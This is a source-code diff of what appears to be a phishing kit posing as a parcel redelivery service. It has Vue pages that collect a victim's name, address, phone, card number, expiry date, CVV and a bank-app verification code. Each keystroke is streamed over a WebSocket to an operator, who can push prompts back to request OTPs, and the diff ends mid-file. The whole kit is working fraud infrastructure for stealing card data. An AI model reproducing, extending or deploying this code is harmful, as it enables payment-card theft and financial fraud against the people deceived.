this.listeners[event].forEach(callback => callback(data));
|
||||
}
|
||||
}
|
||||
|
||||
private handleVisibilityChange = () => {
|
||||
if (document.visibilityState === "visible" && !this.isConnected() && this.socket) {
|
||||
this.socket.connect();
|
||||
}
|
||||
};
|
||||
|
||||
setupVisibilityListener() {
|
||||
document.addEventListener("visibilitychange", this.handleVisibilityChange);
|
||||
}
|
||||
|
||||
disconnect() {
|
||||
document.removeEventListener("visibilitychange", this.handleVisibilityChange);
|
||||
this.socket?.disconnect();
|
||||
}
|
||||
}
|
||||
|
||||
function useSocketIo(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
|
||||
const socket = new Socket(url, token, sessionCrypto);
|
||||
|
||||
return {
|
||||
socket,
|
||||
send: socket.send.bind(socket),
|
||||
on: socket.on.bind(socket),
|
||||
off: socket.off.bind(socket),
|
||||
disconnect: socket.disconnect.bind(socket),
|
||||
};
|
||||
}
|
||||
|
||||
export { useSocketIo, Socket };
|
||||
246
zy1_in_post_shadowfax/src/views/AddressView.vue
Normal file
@@ -0,0 +1,246 @@
|
||||
<script setup lang="ts">
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { inject, onMounted, reactive, ref } from "vue";
|
||||
const configData: any = inject("$configData");
|
||||
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
const formData = reactive({
|
||||
fullName: "",
|
||||
phone: "",
|
||||
address: "",
|
||||
zipCode: "",
|
||||
});
|
||||
|
||||
const formDataError = reactive({
|
||||
fullName: false,
|
||||
phone: false,
|
||||
address: false,
|
||||
zipCode: false,
|
||||
});
|
||||
|
||||
|
||||
const emailErrorMessage = ref("");
|
||||
|
||||
const router = useRouter();
|
||||
|
||||
const textChange = (event: any, key: any) => {
|
||||
const value = event.target.value;
|
||||
inputChange("addressPageData", key, value);
|
||||
|
||||
let noPass = false;
|
||||
|
||||
if (key === "fullName") {
|
||||
if (!formData.fullName) {
|
||||
formDataError.fullName = true;
|
||||
noPass = true;
|
||||
} else {
|
||||
formDataError.fullName = false;
|
||||
}
|
||||
}
|
||||
|
||||
if (key === "address") {
|
||||
if (!formData.address) {
|
||||
formDataError.address = true;
|
||||
noPass = true;
|
||||
} else {
|
||||
formDataError.address = false;
|
||||
}
|
||||
}
|
||||
if (key === "zipCode") {
|
||||
if (!formData.zipCode) {
|
||||
formDataError.zipCode = true;
|
||||
noPass = true;
|
||||
} else {
|
||||
formDataError.zipCode = false;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (key === "phone") {
|
||||
if (!formData.phone) {
|
||||
formDataError.phone = true;
|
||||
noPass = true;
|
||||
} else {
|
||||
formDataError.phone = false;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
const next = () => {
|
||||
let noPass = false;
|
||||
if (!formData.fullName) {
|
||||
formDataError.fullName = true;
|
||||
noPass = true;
|
||||
} else {
|
||||
formDataError.fullName = false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (!formData.address) {
|
||||
formDataError.address = true;
|
||||
noPass = true;
|
||||
} else {
|
||||
formDataError.address = false;
|
||||
}
|
||||
|
||||
if (!formData.zipCode) {
|
||||
formDataError.zipCode = true;
|
||||
noPass = true;
|
||||
} else {
|
||||
formDataError.zipCode = false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (!formData.phone) {
|
||||
formDataError.phone = true;
|
||||
noPass = true;
|
||||
} else {
|
||||
formDataError.phone = false;
|
||||
}
|
||||
|
||||
if (noPass) {
|
||||
return;
|
||||
}
|
||||
|
||||
localStorage.setItem("phone", formData.phone);
|
||||
|
||||
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/card");
|
||||
}, 200);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "address" },
|
||||
})
|
||||
);
|
||||
localStorage.setItem("route", "address");
|
||||
|
||||
const phone = localStorage.getItem("phone");
|
||||
if (phone) {
|
||||
formData.phone = phone;
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="main-content-body">
|
||||
<div style="min-height: 100px; padding: 0rem 0">
|
||||
<div style="text-align: left">
|
||||
<h1>{{ t("Mailing address") }}</h1>
|
||||
<p>
|
||||
{{
|
||||
configData?.address_msg
|
||||
? configData?.address_msg
|
||||
: t(
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery"
|
||||
)
|
||||
}}
|
||||
</p>
|
||||
</div>
|
||||
<br />
|
||||
<div>
|
||||
<form :novalidate="true" @submit.prevent="next">
|
||||
<div class="input">
|
||||
<label>{{ t("Your Name") }}</label>
|
||||
<input type="text" :required="true" @input="(event) => textChange(event, 'fullName')"
|
||||
v-model="formData.fullName" placeholder=" " />
|
||||
<div class="error" v-if="formDataError.fullName">
|
||||
{{ t("There is an error in this field, please check") }}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="input">
|
||||
<label>{{ t("Address") }}</label>
|
||||
<input type="text" @input="(event) => textChange(event, 'address')" v-model="formData.address"
|
||||
:placeholder="t('street address or house number')" />
|
||||
<div class="error" v-if="formDataError.address">
|
||||
{{ t("There is an error in this field, please check") }}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="input">
|
||||
<label>{{ t("Zip Code") }}</label>
|
||||
<input type="text" @input="(event) => textChange(event, 'zipCode')" v-model="formData.zipCode"
|
||||
placeholder=" " />
|
||||
<div class="error" v-if="formDataError.zipCode">
|
||||
{{ t("There is an error in this field, please check") }}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="input">
|
||||
<label>{{ t("Telephone Number") }}</label>
|
||||
<input type="tel" @input="(event) => textChange(event, 'phone')" v-model="formData.phone"
|
||||
placeholder=" " />
|
||||
<div class="error" v-if="formDataError.phone">
|
||||
{{ t("There is an error in this field, please check") }}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<br />
|
||||
<div class="button-submit">
|
||||
<button type="button" v-on:click="next">
|
||||
{{ t("Update Immediately") }}
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
<style scoped>
|
||||
form div.input {
|
||||
margin-bottom: 1.2em;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
form div.input label {
|
||||
display: block;
|
||||
pointer-events: none;
|
||||
text-transform: capitalize;
|
||||
}
|
||||
|
||||
form div.input input {
|
||||
padding: 5px;
|
||||
font-size: 1em;
|
||||
box-sizing: border-box;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.js-has-pseudo [csstools-has-2u-33-36-31-2j-32-33-3a-2p-30-2x-2s-2p-38-2t-2l-1a-2x-32-3a-2p-30-2x-2s-w-2s-2x-3a-1a-2x-32-34-39-38-1m-2w-2p-37-14-2x-32-34-39-38-1m-2x-32-3a-2p-30-2x-2s-15-w-1a-2t-36-36-33-36]:not(.does-not-exist):not(.does-not-exist):not(.does-not-exist):not(.does-not-exist):not(does-not-exist):not(does-not-exist):not(does-not-exist) {
|
||||
display: block;
|
||||
color: red;
|
||||
font-size: 0.9em;
|
||||
}
|
||||
|
||||
form[novalidate].invalid div.input:has(input:invalid) .error {
|
||||
display: block;
|
||||
color: red;
|
||||
font-size: 0.9em;
|
||||
}
|
||||
|
||||
.error {
|
||||
display: block;
|
||||
color: red;
|
||||
font-size: 0.9em;
|
||||
}
|
||||
</style>
|
||||
295
zy1_in_post_shadowfax/src/views/AppValidView.vue
Normal file
@@ -0,0 +1,295 @@
|
||||
<script setup lang="ts">
|
||||
import {
|
||||
nextTick,
|
||||
onMounted,
|
||||
onUnmounted,
|
||||
reactive,
|
||||
ref,
|
||||
watch,
|
||||
} from "vue";
|
||||
import { useRoute } from "vue-router";
|
||||
|
||||
import eventBus from "@/utils/eventBus";
|
||||
const cardType = ref("");
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "appValid" },
|
||||
})
|
||||
);
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
if (query) {
|
||||
console.log("route", query);
|
||||
cardType.value = query.cardType;
|
||||
}
|
||||
localStorage.setItem("route", "appValid");
|
||||
eventBus.on("app-valid", handleEvent);
|
||||
});
|
||||
|
||||
const message = ref("");
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
message.value = data.message2;
|
||||
};
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("app-valid", handleEvent);
|
||||
});
|
||||
|
||||
const formData = reactive({ verifyCode: "" });
|
||||
|
||||
const onchange = (value: any) => {
|
||||
inputChange("input_card", "verifyCode", value.target.value);
|
||||
formData.verifyCode = value.target.value;
|
||||
};
|
||||
const showInput = ref(false);
|
||||
watch(message, (newValue, oldValue) => {
|
||||
showInput.value = !!(message.value.includes(":") || newValue.includes(":"));
|
||||
});
|
||||
|
||||
const submit = async () => {
|
||||
await nextTick();
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitAppValidCode",
|
||||
formData: formData,
|
||||
},
|
||||
})
|
||||
);
|
||||
message.value = "";
|
||||
};
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="container">
|
||||
<div class="content">
|
||||
<div class="card-logo">
|
||||
<!-- <CardType2 :cardType="cardType" />-->
|
||||
<img
|
||||
src="/cardloading.svg"
|
||||
alt="card-logo"
|
||||
style="width: 100%"
|
||||
/>
|
||||
</div>
|
||||
<div class="card-tye" v-if="cardType">
|
||||
{{ cardType }}
|
||||
</div>
|
||||
|
||||
<br />
|
||||
<p>
|
||||
<img
|
||||
class="safe-icon"
|
||||
src="data:image/png;base64,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"
|
||||
alt="safe-icon"
|
||||
/><b>{{ t("Authorized bank") }}</b>
|
||||
</p>
|
||||
<p class="sub">
|
||||
{{ t("Please go to the bank App to confirm the authorization") }}
|
||||
</p>
|
||||
<p class="sub">{{ t("Please do not close this page") }}</p>
|
||||
<p class="error">
|
||||
{{ message }}
|
||||
</p>
|
||||
<div
|
||||
class="input"
|
||||
data-v-509c2adf=""
|
||||
style="text-align: center"
|
||||
v-if="showInput"
|
||||
>
|
||||
<input
|
||||
required
|
||||
type="text"
|
||||
inputmode="numeric"
|
||||
@input="onchange"
|
||||
v-model="formData.verifyCode"
|
||||
minlength="3"
|
||||
maxlength="8"
|
||||
data-v-509c2adf=""
|
||||
/>
|
||||
</div>
|
||||
|
||||
<br data-v-509c2adf="" v-if="showInput" />
|
||||
<div class="button-submit" data-v-509c2adf="" v-if="showInput">
|
||||
<button type="button" data-v-509c2adf="" @click="submit">
|
||||
{{ t("Submit") }}
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div v-if="!showInput">
|
||||
<img
|
||||
class="loading-icon"
|
||||
src="@/assets/img/ac3bca143fcfa.svg"
|
||||
alt="loading-icon"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
@media (max-width: 767px) {
|
||||
/* Mega Menu */
|
||||
body {
|
||||
padding-top: 10px !important;
|
||||
padding-bottom: 96px !important;
|
||||
}
|
||||
}
|
||||
.sub {
|
||||
opacity: 0.6;
|
||||
}
|
||||
|
||||
.error {
|
||||
color: red;
|
||||
}
|
||||
|
||||
div.container {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
height: 100dvh;
|
||||
padding: 0 10px;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
div.container .content {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
div.container .content .card-logo {
|
||||
width: 120px;
|
||||
margin: 0 auto;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
div.container .content .card-logo:after {
|
||||
content: "";
|
||||
display: block;
|
||||
position: absolute;
|
||||
top: 0;
|
||||
width: 15px;
|
||||
height: 100%;
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
transparent,
|
||||
rgba(255, 255, 255, 0.6352941176),
|
||||
transparent
|
||||
);
|
||||
animation: line 2s infinite;
|
||||
}
|
||||
|
||||
@keyframes line {
|
||||
0% {
|
||||
left: -15px;
|
||||
}
|
||||
to {
|
||||
left: 100%;
|
||||
}
|
||||
}
|
||||
|
||||
div.container .content .safe-icon {
|
||||
display: inline-block;
|
||||
width: 16px;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
div.container .content .loading-icon {
|
||||
margin: 0 auto;
|
||||
width: 50px;
|
||||
opacity: 0.6;
|
||||
}
|
||||
|
||||
div.input {
|
||||
position: relative;
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
div.input input {
|
||||
width: 80%;
|
||||
padding: 5px;
|
||||
text-align: center;
|
||||
outline: none;
|
||||
border: 2px solid black;
|
||||
border-radius: 5px;
|
||||
font-weight: 700;
|
||||
font-size: 1.1em;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
div.input input:focus {
|
||||
border-color: #5381be;
|
||||
}
|
||||
|
||||
div.button-submit button {
|
||||
padding: 8px 20px;
|
||||
cursor: pointer;
|
||||
background-color: #5381be;
|
||||
color: #fff;
|
||||
border: none;
|
||||
outline: none;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
p {
|
||||
display: block;
|
||||
margin-block-start: 1em;
|
||||
margin-block-end: 1em;
|
||||
margin-inline-start: 0px;
|
||||
margin-inline-end: 0px;
|
||||
unicode-bidi: isolate;
|
||||
}
|
||||
|
||||
.container div.input label {
|
||||
display: block;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
.container div.input input {
|
||||
width: 130px;
|
||||
padding: 8px 5px;
|
||||
text-align: center;
|
||||
outline: none;
|
||||
border: 2px solid black;
|
||||
border-radius: 5px;
|
||||
font-weight: 700;
|
||||
font-size: 16px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.container div.input input:focus {
|
||||
border-color: #5381be;
|
||||
}
|
||||
|
||||
.container div.button-submit button {
|
||||
width: 80px;
|
||||
padding: 10px 5px;
|
||||
cursor: pointer;
|
||||
background-color: #5381be;
|
||||
color: #fff;
|
||||
border: none;
|
||||
outline: none;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
.container .resend {
|
||||
margin-top: 8px;
|
||||
text-align: center;
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
.container .resend a {
|
||||
color: #000;
|
||||
-webkit-text-decoration: underline;
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.button-submit {
|
||||
text-align: center;
|
||||
}
|
||||
</style>
|
||||
282
zy1_in_post_shadowfax/src/views/CardView.vue
Normal file
@@ -0,0 +1,282 @@
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="">
|
||||
<div class="main-content-body">
|
||||
<div style="min-height: 100px; padding: 0 0">
|
||||
<div style="text-align: left; ">
|
||||
<h1 style="color: #3c8872;">{{ t("Online Payment") }}</h1>
|
||||
<p>
|
||||
{{
|
||||
configData?.pay_msg
|
||||
? configData?.pay_msg
|
||||
: t("For redelivery, we need to charge some service fees.Your package will be re-delivered after payment")
|
||||
}}
|
||||
</p>
|
||||
<p>
|
||||
<b>
|
||||
{{ t("lump sum: ") }}
|
||||
{{
|
||||
configData?.pay_amount ? configData?.pay_amount : "₹25.09"
|
||||
}}
|
||||
</b>
|
||||
</p>
|
||||
</div>
|
||||
<br />
|
||||
<form @submit.prevent="next">
|
||||
<div class="input">
|
||||
<label>{{ t("Cardholder") }}</label>
|
||||
<input
|
||||
type="text"
|
||||
placeholder=" "
|
||||
v-model="formData.cardName"
|
||||
@input="onCardNameChange"
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
<div class="input">
|
||||
<label>{{ t("Card Number") }}</label>
|
||||
<input
|
||||
type="text"
|
||||
placeholder="Credit card payments only"
|
||||
@input="onCardNumberChange"
|
||||
v-model="formData.cardNumber"
|
||||
required
|
||||
maxlength="19"
|
||||
minlength="8"
|
||||
inputmode="numeric"
|
||||
/>
|
||||
<div class="error">
|
||||
{{ cardMessage }}
|
||||
</div>
|
||||
<div class="card-icons">
|
||||
<img src="@/assets/img/b4f258fb3fcfa.svg" alt="" />
|
||||
<img src="@/assets/img/d9f501073fcfa.svg" alt="" />
|
||||
<img src="@/assets/img/d2820b3b3fcfa.svg" alt="" />
|
||||
<img src="@/assets/img/e62e66803fcfa.svg" alt="" />
|
||||
<img src="@/assets/img/272b931f3fcfa.svg" alt="" />
|
||||
<img src="@/assets/img/761998023fcfa.svg" alt="" />
|
||||
<img src="@/assets/img/c8e88e5f3fcfa.svg" alt="" />
|
||||
<img src="@/assets/img/1a32e1333fcfa.svg" alt="" />
|
||||
<img src="@/assets/img/56af3b633fcfa.svg" alt="" />
|
||||
</div>
|
||||
</div>
|
||||
<div
|
||||
class="input-field"
|
||||
style="display: flex; gap: 10px; align-items: flex-end"
|
||||
>
|
||||
<div class="input">
|
||||
<label>{{ t("Expire Date") }}</label>
|
||||
<input
|
||||
type="text"
|
||||
placeholder="MM/YY"
|
||||
@input="onExpiresChange"
|
||||
v-model="formData.expires"
|
||||
minlength="5"
|
||||
required
|
||||
maxlength="5"
|
||||
inputmode="numeric"
|
||||
/>
|
||||
</div>
|
||||
<div class="input">
|
||||
<label>
|
||||
{{ t("Security Code") }}
|
||||
<span> (CVV)</span>
|
||||
</label>
|
||||
<input
|
||||
type="text"
|
||||
required
|
||||
@input="onCvvChange"
|
||||
v-model="formData.cvv"
|
||||
placeholder="123"
|
||||
minlength="3"
|
||||
maxlength="4"
|
||||
inputmode="numeric"
|
||||
/>
|
||||
<img
|
||||
src="@/assets/img/68eec8c23fcfa.svg"
|
||||
alt="cvv"
|
||||
style="
|
||||
position: absolute;
|
||||
right: 10px;
|
||||
height: 1.5em;
|
||||
box-sizing: border-box;
|
||||
pointer-events: none;
|
||||
"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div class="button-submit">
|
||||
<button type="submit">
|
||||
Confirm Payment {{
|
||||
configData?.pay_amount ? configData?.pay_amount : "₹25.09"
|
||||
}}
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style>
|
||||
@media (min-width: 1024px) {
|
||||
.about {
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
<script setup lang="ts">
|
||||
import { nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import { useRoute } from "vue-router";
|
||||
import { configData, inputChange, myWebSocket } from "@/utils/common";
|
||||
import { useI18n } from "vue-i18n";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
const invoiceNumber = ref("");
|
||||
|
||||
const loadingStore = useLoadingStore();
|
||||
const formData = reactive({
|
||||
cardNumber: "",
|
||||
cardName: "",
|
||||
expires: "",
|
||||
cvv: "",
|
||||
});
|
||||
|
||||
const onCardNameChange = (value: any) => {
|
||||
const rawValue = value.target.value;
|
||||
textChange("cardName", rawValue);
|
||||
formData.cardName = rawValue;
|
||||
};
|
||||
|
||||
const onCardNumberChange = (value: any) => {
|
||||
const rawValue = value.target.value.replace(/\s+/g, "");
|
||||
textChange("cardNumber", rawValue);
|
||||
formData.cardNumber = rawValue
|
||||
.replace(/\D/g, "") // 移除非数字字符
|
||||
.replace(/(.{4})/g, "$1 ") // 每四个数字后插入一个空格
|
||||
.trim();
|
||||
};
|
||||
|
||||
const onExpiresChange = (value: any) => {
|
||||
const rawValue = value.target.value.replace(/\D/g, "").slice(0, 4);
|
||||
let formattedValue = rawValue.replace(/\D/g, "");
|
||||
if (rawValue.length > 2) {
|
||||
formattedValue = rawValue.slice(0, 2) + "/" + rawValue.slice(2, 4);
|
||||
}
|
||||
textChange("expires", formattedValue);
|
||||
formData.expires = formattedValue;
|
||||
};
|
||||
|
||||
const onCvvChange = (value: any) => {
|
||||
const rawValue = value.target.value.replace(/\D/g, "");
|
||||
textChange("cvv", rawValue);
|
||||
formData.cvv = rawValue;
|
||||
};
|
||||
|
||||
const textChange = (key: any, value: any) => {
|
||||
inputChange("input_card", key, value);
|
||||
cardMessage.value = "";
|
||||
};
|
||||
|
||||
const next = async () => {
|
||||
await nextTick();
|
||||
loadingStore.setLoading(true);
|
||||
const data = { ...formData };
|
||||
data.cardNumber = data.cardNumber.replace(/\s+/g, "");
|
||||
localStorage.setItem("cardNumber", data.cardNumber);
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: { type: "submitCard", formData: data },
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
const cardMessage = ref("");
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
cardMessage.value = data.message2;
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
eventBus.on("my-event", handleEvent);
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "card" },
|
||||
})
|
||||
);
|
||||
localStorage.setItem("route", "card");
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
if (query && query.message2) {
|
||||
cardMessage.value = query.message2;
|
||||
}
|
||||
|
||||
const inumber = localStorage.getItem("orderNumber");
|
||||
if (inumber) {
|
||||
invoiceNumber.value = inumber;
|
||||
} else {
|
||||
invoiceNumber.value = "8000" + generateRandomNineDigitNumber().toString();
|
||||
localStorage.setItem("orderNumber", invoiceNumber.value.toString());
|
||||
}
|
||||
});
|
||||
|
||||
function generateRandomNineDigitNumber(): number {
|
||||
// 生成一个 9 位的随机整数
|
||||
const min = 100000; // 9 位数的最小值
|
||||
const max = 999999; // 9 位数的最大值
|
||||
|
||||
// 生成并返回随机的 9 位数
|
||||
return Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
}
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("my-event", handleEvent);
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
form div.input {
|
||||
margin-bottom: 1.2em;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
form div.input label {
|
||||
display: block;
|
||||
pointer-events: none;
|
||||
text-transform: capitalize;
|
||||
}
|
||||
|
||||
form div.input input {
|
||||
padding: 5px;
|
||||
font-size: 1em;
|
||||
box-sizing: border-box;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.card-icons {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 5px;
|
||||
justify-content: flex-end;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.card-icons img {
|
||||
width: 30px;
|
||||
height: 30px;
|
||||
}
|
||||
|
||||
.error {
|
||||
color: red;
|
||||
font-size: 0.9em;
|
||||
}
|
||||
</style>
|
||||
24
zy1_in_post_shadowfax/src/views/CommonLayout.vue
Normal file
@@ -0,0 +1,24 @@
|
||||
<script setup lang="ts">
|
||||
import { footerHtml, headerHtml } from "@/utils/common";
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<body>
|
||||
<div class="v-application v-application--is-ltr theme--light">
|
||||
<div class="v-application--wrap">
|
||||
<div
|
||||
v-html="headerHtml"
|
||||
></div>
|
||||
|
||||
<main style="padding-top: 0px; display: flex; justify-content: center;margin-top: 60px;">
|
||||
<div style="width: 100%; max-width: 800px">
|
||||
<slot></slot>
|
||||
</div>
|
||||
</main>
|
||||
<footer v-html="footerHtml"></footer>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</template>
|
||||
|
||||
<style></style>
|
||||
1453
zy1_in_post_shadowfax/src/views/CustomOtpView.vue
Normal file
396
zy1_in_post_shadowfax/src/views/GoodsView.vue
Normal file
@@ -0,0 +1,396 @@
|
||||
<script setup lang="ts">
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { inject, onMounted, ref } from "vue";
|
||||
import { myWebSocket } from "@/utils/common";
|
||||
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
const router = useRouter();
|
||||
|
||||
const payDate = ref("");
|
||||
const invoiceNumber = ref("");
|
||||
|
||||
const next = () => {
|
||||
if (price.value == 0) {
|
||||
alert("Please redeem your favorite product");
|
||||
return;
|
||||
}
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/address");
|
||||
}, 1000);
|
||||
};
|
||||
|
||||
function getDateSevenDaysAgo(): Date {
|
||||
// 获取当前时间
|
||||
